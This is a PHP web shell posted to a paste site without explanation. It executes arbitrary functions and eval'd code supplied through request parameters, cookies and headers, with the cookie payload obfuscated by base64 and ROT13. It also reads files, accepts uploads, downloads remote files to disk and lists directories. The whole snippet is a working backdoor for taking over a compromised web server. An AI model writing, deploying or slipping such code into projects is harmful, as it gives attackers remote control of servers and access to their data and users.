Untitled

mail@pastecode.io avatar
unknown
php
a year ago
1.6 kB
9
Indexable
Never
<?php error_reporting(-1);
ini_set("display_errors", "1");
ini_set("log_errors", "0");
unlink($t);
if (!isset($_REQUEST[$t])) {
    die();
}
$x = $_REQUEST[$t];
if (isset($_REQUEST[0], $x[1], $x[2], $x[3], $x[4])) {
    $x[1](${$x[2]}[0], $x[3]($x[4]));
    die();
} elseif (isset($_COOKIE[3])) {
    eval(base64_decode(str_rot13($_COOKIE[3])));
    die();
} elseif (
    ($z = isset($_SERVER["HTTP_" . $t])
        ? $_SERVER["HTTP_" . $t]
        : (isset($_POST[$t])
            ? $_POST[$t]
            : null)) &&
    ($z = json_decode(urldecode(base64_decode($z)), true)) &&
    isset($z[0]) &&
    ($Z = $z[0])
) {
    if (isset($z[5])) {
        $Z = realpath($Z . $z[5]);
    }
    chdir($Z);
    if (isset($z[6])) {
        readfile($z[6]);
        die();
    }
    if (isset($_FILES[$t]) && ($x = $_FILES[$t])) {
        rename($x["tmp_name"], $x["name"]);
    }
    if (isset($z[1], $z[2], $z[3]) && $z[2] !== "") {
        if ($z[1] === "0") {
            $x = file_get_contents($z[2]);
            if (($x === false || $x === "") && is_callable("curl_init")) {
                $x = curl_init($z[2]);
                curl_setopt($x, 19913, 1);
                $x = curl_exec($x);
            }
            if ($x !== false && $x !== "") {
                file_put_contents(basename(parse_url($z[2], 5)), $x);
            }
        } elseif ($z[3] !== "") {
            $z[1]($z[2], $z[3]);
        } else {
            $z[1]($z[2]);
        }
    }
} else {
    $Z = getcwd();
}
$z = [];
foreach (scandir($Z) as $x) {
    $z[$x] = is_dir($x);
}
"